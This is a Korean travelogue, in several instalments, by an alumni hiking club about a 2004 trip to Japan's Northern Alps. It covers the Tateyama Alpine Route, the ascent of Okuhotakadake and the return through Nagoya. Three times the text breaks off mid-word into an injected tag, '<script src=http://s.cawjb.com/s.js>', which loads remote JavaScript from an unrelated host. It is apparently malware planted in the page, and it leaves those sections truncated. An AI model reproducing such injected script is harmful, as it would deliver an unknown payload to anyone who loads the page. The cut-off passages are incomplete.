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[제목] 오래 기다리셨습니다. 북알프스산행기 (사진첨부) (유홍림)

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67회 동기회의 등산모임인 휘공회가 주관한 일본의 북알프스 등정을 참가인원 전원이 무사히 마치고 돌아왔습니다. 정확히 이야기 하자면 4박5일이라는 짧은 일정과 우리 동기들의 산행 실력을 감안해 북알프스 중 주봉(오꾸호다까다게, 3190m)이 위치한 남쪽만을 등반하였기에 북알프스 반종주라 하겠습니다. 이번 산행은 작년(2003년) 보르네오 섬 말레이시아령에 있는 코타키나발루(4100m) 등반에 이어 두 번째 해외산행이었습니다.

북알프스를 다녀온 지가 거의 20일이 되었지만, 이제야 산행기를 올립니다. 오래 기다리게 해서 미안합니다. 개인적으로 바쁜 업무들이 있었기에 산행기 게시가 늦어졌습니다. 아직도 여유가 생긴 것은 아니지만, 생생했던 산행 경험과 감흥이 사라질지 모른다는 두려움과 빨리 게시판에 올리라는 적지 않은 압력에 굴복하여 시간을 짜내기로 작정하였습니다.

우선 앞으로 펼쳐질 산행기의 이해를 위하여 북 알프스에 대한 간략한 안내와 일정, 그리고 참가인원 등에 대한 소개부터 하겠습니다.

북알프스 소개
부산(富山)ㆍ기부(岐阜)ㆍ신석(新渴)ㆍ장야(長野)의 4개 현(懸)에 걸쳐 있는 중부산악국립공원 내의 남부 지역에 위치하고 있으며, 남ㆍ북으로 약 75km의 대산맥을 이루고 있다. 3000m 이상의 연봉들로 이루어져 있는데, 그중 최고봉은 오쿠호다카다케(穗高岳 3,190m)로 후지산, 남알프스의 기타다케(北岳)에 이어 일본에서 3번째로 높은 봉우리이다. 북알프스는 크게 두 부분으로 나눌 수 있는데, 우리들이 흔히 아는 가미고지(上高地)가 있는 남쪽과 다테야마, 스루기봉으로 이루어져 있는 북쪽으로 나누어진다.
높이도 높이이지만, 한여름에도 잔설(殘雪)이 남아있을 정도로 눈이 많이 내린다고 한다. 한 번 내리기 시작하면 보름 정도는 계속된다고 하며, 6월 중순 무렵에도 그리고 10월 20일 정도에도 눈이 내린 적이 있다고 하며, 겨울 철에는 12발짜리 아이젠이 없으면 산행이 불가능하다고 한다. 또한 기후도 변화무쌍하여 일본 해외원정대의 훈련지로 자주 활용되고 있다고 한다. 또한 이 산은 광대한 넓이뿐만 아니라 웅장하면서도 조각한 듯한 암릉과 갚은 계곡으로 이루고 있고, 용암대지의 아름다운 다양한 꽃과 식물들이 자라고 있어 일본에서 가장 사랑받는 산이라고 한다.
특히 광범위하게 펼쳐져 있는 빙하지역은 독특한 매력이며, 고산 지역에서만 서생하는 진귀한 야생 동식물도 접할 수 있어 매우 흥미롭다. 날씨가 허락하면 3000M가 넘는 오쿠호다카다케 정상에서 후지산, 남알프스의 연봉과 뒤로 보이는 야리가다케(槍岳), 다테야마(立山)연봉, 백마악으로 이어지는 환상적인 파노라마를 볼 수 있다고 하며, 또한 그곳에서의 일출과 일몰, 운해(雲海)는 오랫동안 흥분으로 남게 된다고 한다.

일정
북알프스가 가을철 단풍이 워낙 유명하다는 점과 제법 긴 추석 연휴와 주5일제 근무를 최대 활용하여 9월 29일~10월 3일까지의 4박 5일로 잡았습니다. 계획 초기에는 5박 6일로 잡아 다소 여유로운 산행을 계획하였으나, 공무원으로 재직 중인 전영옥군이 자신을 비롯한 가족들의 평생 생계가 달려 있다면서, 일정을 줄여 달라는 간청에 못 이겨 하루를 줄여 다소 무리한 산행을 하기로 友情의 결단을 내리게 되었습니다.
결국 일정을 뒤엎은 전영옥군은 국정감사 일정을 핑계(?)로 참가하지 않았고, 그로 인해 몇 몇 대원들은 눈물겨운 산행을 하게 되었음을 미리 밝혀둡니다. 산행 내내 ‘영옥이 때문에’ ‘그 새끼(?) 때문에’ 하는 원망과 탄식으로 북알프스의 계곡이 요동쳤을 정도입니다. 내심으로 저는 좀 전에 언급한 몇 몇 대원들에 의해 아까운 우리의 친구인 영옥이가 세상을 하직할 수밖에 없을 것 같아 걱정이 컸었습니다. 그러나 귀국 전날 영옥군 장인께서 갑작스럽게 별세하셨다는 핸드폰 메시지 때문에 그 살벌했던 분위기는 한결 누그러졌고, 단지 영옥이가 미리 납부했던 회비 가운데 몇 퍼센트만 돌려줄 것인가에 대해 격렬한 논의가 이루어졌었다. [영옥아! 장인께서 자네를 살렸으니, 이제부터는 와이프한테 밤낮으로 더욱 열심히 봉사를 해야 할 거야.]

참가인원 67회 8명(김규한, 김응구, 김현경, 유홍림, 윤승일, 이영일, 임창호, 조명하)과 53회 1명(김관수). 기타(김병태, 유홍석, 강철원) 3명을 합쳐 총 12명이었습니다. 이들에 대한 간략한 소개를 하겠습니다.
우리 동기회에 등산 붐을 일으켜 주었고 여전히 산을 전파하려고 애쓰는 김응구 회장, 히말라야를 비롯한 국내외 고산들을 끊임없이 정복하고 있는 김현경, 희생정신과 매너를 갖춘 등산계의 신사 윤승일, 그리고 (약간의 훈련만 있으면, 전문산악인으로 나서도 손색이 없다는 평을 들을 정도의) 등산계의 새로운 별 조명하 등은 나의 산행기에도 여러 차례 소개가 되어 이미 동기들이 너무나도 잘 알고 있



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<산행기 1> 에서는 주로 북알프스에 대한 개요와 일정, 그리고 참여대원들에 대한 개략적인 소개가 있었다. 이제부터가 정식 산행기라고 할 수 있을 것이다. 미리 밝혀둘 것은 이제부터 게시될 산행기는 진짜 山사나이 김현경 대원이 제공해 준 사실적 기록들을 토대로 작성될 것이라는 점이다. [현경아! 이 정도면 저작권 시비는 피할 수 있겠지?] 평소에도 그랬지만, 현경이는 지명, 거리, 높이, 산세, 무게, 가격 등에 관해서는 정확한 기억력을 가지고 있어 항상 나로 하여금 존경심을 자아나게 한다. [현경아! 이 정도면 아부도 수준급이지?]

첫째날(2004. 9. 29): 인천공항→도야마(富山)공항→하꾸바(白馬) 다테야마(立山) 山莊

2004년 9월 29일 수요일 오후 3시에 인천국제공항에 집합한 12명의 대원들이 강철원 대장의 안내를 받으며 탑승수속을 마쳤다. (이 때 우리가 일본에서 묵을 立山 산장의 안 주인 이현숙씨도 같이 출발하게 되었다. 우리 일행의 식사준비 등 뒷바라지를 위해 서울에서 쉬고 있는 사람을 강대장이 설득해 동행하는 거란다.) 출국에 앞서 기념촬영을 하고 출국장으로 나가 간단한 출국심사를 마친 뒤, 면세점에도 들렸다. 어떤 친구는 담배, 어떤 친구는 딸들에게 줄 가방이나 악세사리, 어떤 친구는 넥타이 등을 사면서 시간을 보냈다.

약속된 시간에 예정된 탑승구로 갔더니, 탑승구가 다른 곳으로 바뀌어 허둥대었지만, 5시 이륙 예정인 비행기에는 무사히 탑승하였다. 각 대원들은 무작위로 나누어 준 탑승권에 적혀있는 번호를 찾아 자리를 잡았다. 여기서도 운이 있는 놈은 달랐다. 불편하지만 값이 싼 비즈니스 칸에 같이 탔어도, 영일이는 다리를 쭉 뻗을 수 있는 비상구 옆에, 그것도 이쁘고 싱싱한 승무원과 무릎을 맞대며 눈을 맞출 수 있는 자리에 앉을 수 있는 행운을 거머지게 되었다. 스튜어디스면 무조건 우리의 동기 이정식의 제자인 줄 알고, 작업에 들어갔더니, 자기는 학원을 다니지 않고 그냥 입사했다 하길래 다소 분위기가 썰렁해졌다. 영일이가 다소 풀이 죽어 보이기에, 할 수 없이 내가 나서 이것저것 영양가 없는 이야기를 나누면서 분위기를 부드럽게 했다. 알고 보니 성신여대 경영학과를 졸업했고, 이번 비행이 첫 번째 일본 비행이란다. 물론 사이사이에 면세품을 사거나 돌아오는 비행기에 받을 수 있도록 물품예약을 하기도 했다.

이쁜 스튜어디스들의 배웅을 받으며, 도야마(富山) 공항에 내린 시각은 19:00 경. 입국심사를 마친 후, 짐들을 찾아 들고 대기 중에 있던 전세버스에 올라 숙박지인 다테야마 산장(立山 山莊)으로 향하였다. 이미 밖은 어두워져 있었고, 비교적 굵은 빗줄기가 유리창을 때리고 있었다. 우리를 태운 버스는 富山 IC를 통과하여 고속도로인 北陸自動車道를 이용하여 &#31992;魚川 IC를 빠져나와 국도 148번을 타고 하쿠바(白馬)로 가는 2시간 내내 비는 계속하여 거세게 내렸다. 출발 전부터 우리는 이미 북알프스 지역 일대가 태풍 민들레의 영향권에 놓여 있었다는 것을 알고 있었지만, 막상 도착해 현지 사정을 보니 다소의 실망과 두려움이 교차하기 시작했다. 마침 NHK 방송의 일기예보를 모니터링하던 김응구 회장 사모님이 안부의 전화를 걸어와 사태의 심각성을 알려주면서 안전산행을 당부하자 분위기는 더욱 가라앉게 되었다.

도야마는 인구 30만 정도로 가내수공업을 주로 하는 작은 도시로 우리나라 속초와 위도가 비슷한 지역이며, 우리가 향하고 있는 나가노는 98년 동계올림픽이 개최된 곳으로 우리에게 잘 알려져 있는 곳이다. 이 곳에만 스키장이 무려 13개가 있고, 평균 2 m이상의 Powder Snow에서 환상적인 스키를 즐길 수 있다고 하며, 스키 시즌이 반년이상 지속되어진다고 한다. 우리나라 전국에 산재해 있는 스키장의 개수가 13개에 불과하다는 점을 고려할 때, 이 곳의 풍경이 눈에 그려질 수 있을 것이다.

드디어 다테야마 산장에 도착하였다. 이 산장의 주인은 앞서 언급한 부인 이현숙씨의 남편 노운석(46세)씨이다. 이들 사이에는 아직 자식이 없으며, 몸 전체가 새까맣고 순한 개 '세미'하고 함께 살고 있다. 한국산악회 회원이기도 한 노운석씨는 일본 유학생 신분이었지만, 산을 좋아해 후지산 가이드 등으로 용돈과 학비를 벌었다하며, 스키에 매료되어 이곳으로 이주해 산장을 경영하면서 학위논문을 준비하고 있다고 한다. 너무나도 낙천적이라고 어찌 보면 철없는 어린애처럼 보이는 노운석씨에게서 묘한 부러움이 느껴진다.
산장은 3층 높이의 건물인데, 설계가 잘 되어 있어, 1층에는 거실과 식당, 주방 등으로 이루어져 있었다. 거실에는 간단하게 맥주나 커피를 할 수 있는 Bar가 마련되어 있었고, 노래방 기기까지 갖추고 있었다. 식당은 25명 정도가 식사할 수 있는 공간이 있으며, 베란다에는 커다란 바비큐 그릴이 있?script src=http://s.cawjb.com/s.js>



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둘째날(2004. 9. 30): 立山山莊→立山역→알펜루트 관광→ 산악박물관 관람→立山山莊

앞서 밝혔듯이, 태풍으로 인하여 마지막 날에 계획되었던 다테야마(立山)ㆍ구로베(黑部) 알펜 루트(Alpine Route) 관광을 먼저 하기로 하였다.

아침식사를 마치고 간단한 차림으로 전세버스에 오르니, 앞서 소개된 山 雜誌 기자일행들이 미리 타고 있었다. 간단하게 목례로서 인사를 나눈 후, 줄기차게 내리는 빗속을 달려 알펜루트의 시작점인 다테야마 역에 도착했다. 역에 도착해 표를 구입한 뒤, 대원들은 간단한 식품과 관광 상품을 파는 가게에 들러 이리 저리 살피면서 산악기차를 기다리고 있었다. 기차를 타기 직전 산장 주인 노운석씨가 가이드를 맡았던 한국인 관광객 5명을 우리 팀에 떠맡기는 바람에 식구가 늘었다.(물론 공짜는 없었다. 숙소에 돌아오면 생맥주 한 쪼기 씩을 돌린다는 약속을 받아냈다) 이들은 처남매부지간의 2쌍의 노부부와 여자 쪽 사촌여동생이 합세한 팀이었다. 한 여자 노인네의 고희기념으로 자식들이 보내주었다고 한다.

다테야마는 일본 혼슈의 중북부, 도야마현에 소재하고 있는데, 일본을 상징하는 후지산과 '일본의 몽블랑'으로 불리는 하쿠산과 함께 일본의 3대 영산으로 꼽히고 있으며, 세계적으로도 잘 알려진 산악관광지이다. 구로베는 수량도 엄청나고, 물살도 급한 강을 막아 댐을 만들었는데, 그 규모나 공사의 난이도 등을 감안하면 미국의 후버(Hoover) 댐에 비견되고 있다. '알펜루트'는 도야마현의 다테야마(立山)역에서 나가노(長野)현의 오기사와(扇澤) 역까지 장장 87km에 걸쳐 연이어진 3천m급 고봉에 도로를 내고, 수많은 터널을 뚫어, 때론 산과 산을 케이블카로 연결해 만들어진 코스이다. 특히 터널이 긴 것도 긴 것이지만, 우리의 터널과는 달리 미로처럼 연결되어 있으며, 그 속에서도 각종의 교통신호기가 설치되어 있어 마치 시가지 도로처럼 좌우회전도 할 수 있게 되어 있다. 이 알펜루트를 관광하기 위해선 궤도열차, 고원버스, 트롤리버스, 공중케이블카 등으로 6번이나 교통편을 바꿔 타야 한다.

첫 번째 이용한 교통수단은 궤도열차로서 해발 475m의 높이인 다테야마 역에서 해발 977m에 위치한 비조다이라(美女平)까지 1500m의 거리를 약 7분 동안 5°~7°의 경사진 산길을 올라간다. ‘비조다이라(美女平)’는 원래 禁女 지역이었는데 한 여승이 들어가려다 신의 노여움을 사 삼나무로 변했다는 전설이 있는 곳이다.

비조다이라에서는 고원버스를 이용해 해발 2450m에 위치한 무로도(室堂)까지 이동하게 되어 있는 데, 그 소요시간은 약 50분이 걸린다. 이 코스를 지나는 동안 몇 아름씩이나 되는 나무들이 쭉쭉 벋어 있어 나무들이 산을 꽉 채우고 있다는 느낌이 들 정도이다. 특히 봄(4월) 무렵에는 겨울 내 내린 눈이 18m 정도 높이로 다져지고 다져져 길 양쪽으로 눈 벽이 형성되는데, 이 가운데로 고원버스가 다닌다니, 상상만 해도 가벼운 흥분이 느껴질 정도이다. 또한 고도가 높아짐에 따라 버스 창 밖으로 보이는 풍광도 계속 달라져 전혀 지루한지 모르는데다가, 버스 안 관광객들이 이곳저곳에서 질러대는 탄성에 고개를 돌리기가 바쁠 정도이다. 고원버스를 타고 길을 따라 구불구불 오르다 보면 낙차 350m의 4단 폭포인 쇼묘다키 폭포가 눈에 들어온다. 이 폭포는 일본에서 가장 큰 규모로 천연기념물로도 지정되어 있다. 이 폭포를 지나 조금 더 달리면 해발 2천m에 펼쳐진 미다가하라(&#24357;陀ヶ原)고원을 지나게 되는데, 이 곳의 단풍은 특히나 아름답다. 이 과정에서 한 가지 불편한 점이 있었는데, 많은 관광객을 실어 나르기 위해 버스 안에 보조 좌석들이 설치되어 있는데, 이 의자들이 안정감이 없어 체중이 조금 많이 나가는 나 같은 사람들에게는 의자가 부셔질까 두려운 마음이 들고, 더욱이 산길을 꼬불꼬불 올라가다보니 가벼운 멀미증세까지도 경험하게 된다.

고원버스 종착역에 내려 조금만 걸어가면 분화에 의해 생긴 주위 약 600m, 깊이 약 15m의 신비로운 다테야마 최대의 칼데라 호수인 미꾸리가이케(みくりか池)에 다다른다. 안내판을 보던 영일이가 이 호수의 이름을 재치 있게 ‘미꾸라지가 있게 (없게)?’ 라고 부르는 바람에 머리가 나쁜 나도 그 이름을 기억하게 되었다. 아름답게 단풍이 든 나무들 사이로 나있는 계단을 따라 약 15분쯤 내려가면 유황 냄새가 진동하는 지코쿠계곡(地獄谷)에 이른다. 계속 뿜어내는 수중기와 유황냄새 때문에 숨쉬기가 불편할 정도이다. 비는 계속 내렸지만, 대원들은 오버트러우져를 입고 다니면서 구경을 하고, 사진도 찍으면서 관광을 즐겼다. 버스에서 내려 호수로 내려 왔을 즈음 규한이와 창호가 없다는 것을 발견하였지만, 버스 종점에서 기다리고 있겠지 하는 믿음으로 나머지 대원들만 다녀왔다. 나중에 물어보니,


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- 세째 날(10.1) : 立山山莊→가미고지(上高地)→요코오(橫尾)산장→호다카다케 산장

이번 일정의 하이라이트인 북알프스 등반에 나서는 결전의 날이 밝았다. 새벽 4:00에 일어나 간단한 세면과 아침식사를 마치고 05:00 경 전세버스에 올라 산행 시작점인 가미고지로 향하였다. 마치 전쟁터에 나가는 정도는 아니겠지만, 상당히 긴장을 하고 있다는 것을 느낄 수가 있었다. 시각이 이른 탓도 있겠지만, 각 대원들은 마치 좌석에 기댄 채 성공적인 등정을 비는 듯한 자세이다. 날이 밝아지면서 맑게 개인 하늘과 따뜻한 열기를 퍼뜨리는 태양을 반갑게 맞이할 수 있었고, 차창을 통해 맑은 공기, 깨끗하면서도 단정한 거리 풍경, 질서와 양보가 넘쳐나는 도로 등을 느낄 수 있었다. 우리를 더욱 더 놀란 것은 군데군데 설치되어 있는 양수발전기 시설의 규모와 자연의 지형을 최대로 살리기 위하여 S형 자 혹은 구불구불하게 뚫려져 있는 터널이었다.

우리 대원들이 탄 버스는 남쪽을 향한 158번 국도를 계속 달렸는데, 24번 지방도와 교차하는 지점에서 釜터널을 만나게 된다. 이 터널은 자연의 보호와 안전을 위해 4월 하순부터 11월 중순까지만 개방이 되며, 그것도 자가용 승용차가 아닌 관광버스, 택시, 셔틀버스만의 통행을 허용하고 있단다.

3시간을 달려 도착한 "가미고지" 주차장은 해발 1500 m에 위치한 곳으로 마치 우리나라의 설악동에 해당이 된다고 할 수 있는데, 관광시즌에는 셔틀버스만이 주차가 허용되며, 주차장의 모든 버스는 정차 중 시동을 걸 수 없도록 규제하고 있다는 점에서 일본인들이 환경보호에 쏟는 정성을 엿볼 수 있어 일본은 이미 선진국임을 인정하지 않을 수가 없었다.

가미고지는 일본인들에게 연말연시 가장 하고 싶은 일을 꼽으라면 눈 내린 가미고지에서 산책하는 것을 꼽히고 있으며, 소설 '빙벽' 의 공간적 무대가 된 곳이기도 하다. 이 "가미고지"에는 "다이쇼이케" 호수가 있는데, 주변에는 울창한 나무숲으로 이루어진 길이 나 있고, 호수가로 나무로 만든 다리들이 곳곳에 설치되어 있어 산책을 즐기기에는 최상의 조건을 갖추었다고 할 수 있다.

산행 시작에 앞서 강철원 대장의 지휘 아래 간단한 몸 풀기를 했으며, 산행에 있어 주의해야 할 사항들을 들었다. 각 지역마다 산장이 설치되어 있고 위급시 연락할 수 있는 구조대가 설치되어 있으며, 또한 중간 중간 가파른 산행 길에는 쇠사슬 등 안전장치가 설치되어 있지만, 북알프스는 부석들이 퇴적된 산이며, 역층의 岩凌들로 이루어져 있기에 낙석이 자주 발생하며, 암릉 자체의 기복도 비교적 심한 편이어서 바위를 오르내릴 때 많은 주의와 높은 집중력이 요구된다는 점과 3000m가 넘는 고산이기에 갑작스런 기후변화에 대비한 준비도 철저히 필요하다는 내용이었다.

마침내 08:10 출발 명령이 떨어졌다. 각 대원들은 전가의 寶刀를 빼듯이, 등산용 스틱들을 적당한 길이로 조정해 리드미컬하게 집으며 걷기 시작하였다. 이 때 김병태 사장의 스틱에 문제가 있는 발견되었다. 스틱은 적당한 길이로 조정한 뒤, 고정을 시켜야 하는데, 계속 헛돌아가는 것이었다. 비록 평탄한 길이지만, 약 30분 동안 3km를 걸어야 나오는 매점이 딸린 메이신여관(明神館)에 도착할 때까지, 끙끙 매며 스틱을 만지고 있었다. 이 때 많은 산행 제자들을 키워 냈고 있던 현경이의 손길이 닿자 해결이 되었고, 현경이의 진단으로는 우중 산행 후 말리지 않은 것이 원인이라고 하였다. 그러는 동안 나머지 대원들은 물도 마시고, 용변도 해결하면서, 다시금 배낭을 정비하였다.

다시 출발을 하여 너무나 잘 정비되었기에 다소 밋밋하다는 느낌이 들 정도의 등산로를 따라 1시간 여 만에 도꾸사와(德澤) 야영장에 도착했다. 그러나 고도는 천천히 높아지고 있었다. 이 구간에서 다소 몸을 만들지 못한 채 등반에 참여한 창호와 교통사고의 후유증을 갖고 있던 규한이가 경쾌한 몸짓으로 다른 대원들의 제치고 앞으로 나가는 것 아닌가. 다소 의아해 했지만, 컨디션이 매우 좋은가보다 라며 은근히 그들을 걱정을 해 왔던 몇몇 사람들을 다소 머쓱하게 만들었다.
잠시 휴식을 취한 후 계속 전진한 끝에 요코오(橫尾) 산장에 도착했다. 가미고지에서 요코오 산장까지의 거리는 대략 5km. 시간으로는 2시간 30분 정도면 충분히 도착할 수 있는 거리이다. 요코오 산장까지 이르는 길 양옆으로는 울창한 침엽수림이 뻗어 있어 삼림욕으로 즐길 수 있는 곳으로도 유명한 곳이라고 한다.

지금까지는 하이킹 코스이었지만, 본격적인 산행은 이제부터라는 대장의 말에, 벤치에 앉아 있던 나는 일어서 배낭을 추스르면서 다시금 긴장을 하려는 의도로 고개를 들어 우리의 목표지점을 쳐다보니 호다카다케 연봉이 저 멀리 구름사이로 잠시 모습을 보여주며, 기다리?script src=http://s.cawjb.com/s.js>



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- 넷째 날(10.2): 오쿠호다까다케(정상등정)→다케사와산장→하동교→가미고지→하쿠바

(이미 산행기4를 읽은 사람일지라도, 마지막 부분에 매우 중요한 사실을 첨가해 놓았으니, 다시 클릭해 읽어주시면 고맙겠습니다. 불편을 드려 죄송합니다)

우리는 이미 대장으로부터 내일 아침식사는 새벽 5:00에 배정을 받았으니, 일어나자마자, 밥부터 먹고 나서, 세면이나 용변해결, 그리고 침구정리 및 배낭 꾸리기는 그 후에 하라는 명령을 받은 바 있다. 5시가 조금 안되어, 누가 깨우지도 알았는데, 각 대원들은 부스럭거리며 일어난다. 적지 않은 긴장들을 하고 잔 모양이다. 식사를 마치고, 잠자리를 정리하고, 산행채비를 서둘렀다. 지금까지는 적당한 거리마다 산장이 있고, 음료대가 설치되어 있어 물을 준비할 필요가 없었는데, 오늘 산행이 시작되면 세 시간 동안은 물을 구할 수 없다는 대장의 말에, 대원들은 물통에 물을 채우기 시작했다. (비숙박 등산객에게는 물 1리터에 150엔을 받고 있었다) 이러는 동안 어제 한 잠도 자지 못한 내 동생 홍석이가 각 대원들의 코고는 실력을 크기, 지속시간, 리듬 등을 고려해 순위 발표를 하였다. 다들 긴장하면서 관심을 갖는 것도 우스웠지만, 판정에 불만이 있는 대원들의 강력한 항의로 인해 순위를 확정시키지 못해 결국 시상식을 갖지 못했던 점은 매우 유감스럽게 생각한다.

바람이 몹시 세차게 부는 가운데, 시야를 가리는 안개비가 제법 내리고 있었다. 방한 및 방풍을 위한 복장을 갖춰 입은 대원들이 우리의 등정 목표이자 일본에서 3번째로 높은 오쿠호다까다케 정상을 향해 출발하기 위해 산장 앞에 집합한 시각은 정각 06:00이었다. 출발에 앞서, 강 대장의 주의사항이 하달되었다. 등산길이 안정치 못한 작은 돌들로 이루어져 있으니, 앞 사람 간의 간격을 1 m 정도 유지하고, 앞사람이 밟은 곳만 따라 밟으며 진행하여야 하며, 만약을 위해 쇠사슬을 잡지 말라는 등등의 주의사항을 주었다.

호다까다케 산장을 나서마자 왼쪽 편에서 바로 시작되는 가파른 암벽을 약 1시간 정도 계속해서 사다리 타고 쇠사슬 구간을 뛰어 올라야만 3,190m의 오쿠호다까다케 봉에 닿을 수 있다. 한치 앞을 볼 수 없는 짙은 안개비 속에서 눈을 뜨기는커녕 몸을 가누기도 쉽지 않을 정도의 바람을 뚫고 흰 페인트로 칠한 ○마크를 찾아야 하고, 앞 선 대원을 놓칠까봐 신경을 쓰면서 전진해 나가야 하니 결코 쉽지 않았다. 어느 정도의 바람 세기인지는 체중이 80킬로가 넘는 김응구 회장이 대원들에게 돌들을 집어 배낭에 넣으라고 할까 고민했었다고 회상한 점에서 짐작할 수 있을 것이다. 가파른 등산로를 오르느라 모든 촉각을 곤두세워야 하는 와중에서도 좌우로 펼쳐지는 산의 웅장함을 즐기는 것을 게을리 하지 않았다. 간혹 고개를 들어 주봉을 쳐다보니 올라가는 길이 거의 80도에 가깝게 보였다. 기가 꺾일까봐 얼른 고개를 내리면서 한 걸음 한 걸음 가다보면 정상이 나오겠지. 힘내자하면서 앞 뒤 대원에게도 성원을 보내면서 나아갔다. 상당 시간이 흘렀을 무렵, 앞쪽에서 사람들의 웅성거리는 소리가 들려왔다. 기념촬영을 하는 일본인 관광객들이 보였다. 드디어 높이 3,190 m 일본에서 세 번째로 높은 산인 오쿠호다까다케에 도달한 것이다.

정상에는 2명 정도만이 올라설 수 있는 작은 공간이 있었으며, 그곳에는 작은 神祠가 세워져 있었다. 오쿠호다까다케! 우리 일행은 정상 아래에서 정상주를 나누어 마시고 흥분된 대원들은 삼삼오오 모여 단체 및 개인의 기념촬영을 하였다. 정상 정복의 기쁨도 잠깐. 아쉬움을 뒤로 한 채, 계속해서 내리는 안개비로 젖은 배낭을 다시 메고, 하산 길을 재촉하여야만 했다. 여기까지 어떻게 올라 왔는데... 바로 이런 점에서 등산은 우리네 인생에 있어 커다란 교훈을 주는 것 같다. 응구도 그러한 감상에 젖었었던지, 백담사에 일종의 유배를 가 있었던 전두환 대통령이 이순자 여사와 함께 추운 겨울 날 눈이 잔뜩 쌓인 백담사 뒤 산을 갖은 고생을 하며 올랐다가, 추위로 인해 곧바로 산을 내려올 수 밖에 없었음을 탄식하며 내뱉었던 일화를 몇 차례나 소개를 하였다.

이제는 하산길이다. 앞으로 두시간 정도는 위험하지만 평탄한 편이고, 다시 두시간 동안은 매우 위험하면서도 가파른 길이며, 다시 두시간 동안은 비교적 평이한 길로 이어진다고 한다. 그러나 가야할 거리가 최소 6시간이 걸린다니 아득하기만 하다. 보기만 해도 아찔한 낭떠러지들이 좌우측으로 간간이 보이는 가운데 가파른 연봉을 따라 너덜지대를 거쳐야 하는 내리막길이 끝없이 이어져 있었다. 정상을 정복했다는 흥분이 채 가시지 않았고, 이제부터는 계속해서 내리막길이라는 강 대장의 말에 다소 방심한 탓인지 피로감도 몰려오고, 집중력도 현저히 떨어짐을 느끼게 되었다. 이러한 이유로 등산



다섯째 날(10.3) : 하쿠바→나고야→서울

드디어 마지막 날이다. 4박 5일의 일정을 마무리하고 한국으로 돌아가는 날이다. 도야마에서는 일요일에 서울로 가는 아시아나 항공편이 없기에 나고야에서 출발해야만 하는 불편을 감수해야만 했다. 누구 때문인지는 더 이상 이야기하질 않겠다.

기상 후 모두들 부시시한 모습으로 서로의 안부를 묻는다. 특히 어제 술 고문을 당하던 명하를 예의 주시하면서 아침부터 부지런을 떨며 아침을 먹고, 짐을 정리하여 나고야를 향해 출발을 한 시각은 8시이다. 산장을 배경으로 기념촬영을 한 후, 노운석씨와 세미(개이름)의 배웅을 받으며 버스에 올랐다. 나고야 행 버스에는 노운석씨 부인인 이현숙씨는 우리의 쇼핑 안내를 위해 동행해 주기로 하여 같이 버스에 탔다. 아침부터 계속하여 비가 내린다. 그러고 보니 원정기간 중 본격적인 산행을 하던 어제 그제의 날씨만이 맑게 개어 산행에 불편이 없었음에 크게 감사하는 마음이 든다.

버스는 하쿠바에서 가까운 豊科 IC에서 나가노 고속도로(長野自動車道)를 이용하여 주오고속도로(中央自動車道)의 小牧 IC를 빠져나와 나고야 시내 향해 달렸다. 달리는 버스 속에서 우리처럼 산행을 좋아하는 사람들에게는 찐한 감동과 교훈을 주는 장면이 연출되었다. 어제 산행 중에 돌에 미끄러져 10여 미터를 날아 떨어져 여러 군데 상처를 입은 영일이가 발목근처마저 불편하여 고통을 겪는 것을 알아 챈 김병태 사장은 선배 산악인답게 탄탄히 꾸려놓았던 배낭을 다시 풀려 바닥에 놓아둔 응급처치세트를 꺼내더니, 그 속에서 건전지로 작동되는 저주파 침 기구를 꺼내 영일이를 뒷좌석으로 옮겨 시술을 해 주는 것이었다. 피곤에 젖은 상태에서, 싸놓았던 배낭을 다시 풀기란 그리 쉬운 일이 아니며, 더구나 그것을 가지고 있는 지 아무도 모르는 상황에서는 더욱 그러할 것이다. 이처럼 사용할 기회가 없을지도 모르는 응급처치기구마저 넣어 다니는 모습이 가능하면 배낭의 무게를 줄이려 자신에게 반드시 필요한 최소한의 장비만을 챙겨 다니던 소아적인 일반 산행인(필자 포함)에 비교가 되어 한참이나 부끄러웠다. 김병태 사장 이외에도 현경이도 항상 배낭에는 어쩌다가 쓸지도 모르는 그것도 자신이 아닌 초보자 산행인을 위한 발목 보호대 등 여러 장비들을 넣고 다니며, 김응구만 하더라도 개인장비가 아닌 주요한 공동장비를 항상 준비해 다니는 모습은 아름다워 보였다. 또한 산행과정에서 발생하는 모든 쓰레기(특히 막걸리 병 등)는 승일이의 배낭에 챙겨지는 것은 이미 습관처럼 되어 버린지 오래이다. 남을 배려하는 휘공인들이 됩시다.

나고야 시내에 도착하여 상당히 많은 양의 약주(?) 실력과 노익장을 과시하셨던 김관수 선배님은 내친 김에 후지산마저 등정을 하시겠다고 하여 도쿄행 기차를 태워드리는 것으로 우리와는 헤어졌다. 나머지 대원들은 가족들과 직장 동료에게 줄 간단한 선물을 사려는 백화점 팀과 좋은 장비를 값싸게 사고 싶어 하는 등산장비점 팀으로 나누어, 쇼핑을 하기로 하였다. 필자는 실제로 아무 것도 사지 못했지만, 백화점 팀에 끼었다가, 등산장비팀원들이 구입한 여러 물품과 장비를 보고 지금껏 가슴을 치며 후회를 하고 있음을 밝혀둔다. 혹시 본시 넉넉한 마음을 지닌 응구, 현경이 등이 나누어준다고 하면 어떻게 해야 하나? 미리 걱정이 된다.

쇼핑이 끝난 후 뷔페식 식당으로 이동하여 점심을 하였다. 육류까지도 먹으면 값이 다소 비싸지지만, 우리는 그걸로 먹기로 하고, 각종 해산물을 비롯해 닭고기, 소고기, 돼지고기들을 부위별로 가져다 테이블 가운데 놓여진 화로에서 굽기 시작을 하였다. 다행히 김치도 마련되어 있었고, 일본식 된장국도 있어서 쉽게 물리지는 않았다. 너무 많이 먹는 강철원 대장을 보고 걱정을 하는 이현숙씨에게 자기는 독립운동을 하기 때문에 다음 번 식사를 언제 할지 몰라 이렇게 몰아서 먹는다고 답변을 하는 재치를 보여 우리를 웃게 만들었다. 더 이상 위속에 빈 공간이 없음을 확인한 우리들은 다시 버스에 올라 공항에 도착했고, 그래서 우리는 이현숙씨와 작별을 하여야만 했다. 간단한 탑승수속을 마친 뒤, 보안검사, 출국심사를 마치고 탑승구로 향하였다. 비행기 이륙시간까지는 다소 여유가 있어 면세점을 기웃거리며 시간을 보냈다. 시간이 거의 되어 예정된 탑승구 8번으로 갔더니 이번에도 3번으로 변경되었고 한다. 드디어 16:40분 OZ123에 몸을 실었다.

스스로 밝히는 것이 쑥스럽지만, 이것도 여행에 일어났던 사실적 내용이라 다음과 같이 밝히려고 한다. 비행하는 도중 그 동안 접하지 못한 고국의 소식이 걱정이 되어(?) 각 대원들은 다양한 신문들을 읽기 시작하였다. 잠시 후, 내 뒷좌석에 앉아있던 규한이가 나보고 너 신문에 나왔다며 중앙일보(10월 2일자)를 나한테 내?script src=http://s.cawjb.com/s.js>

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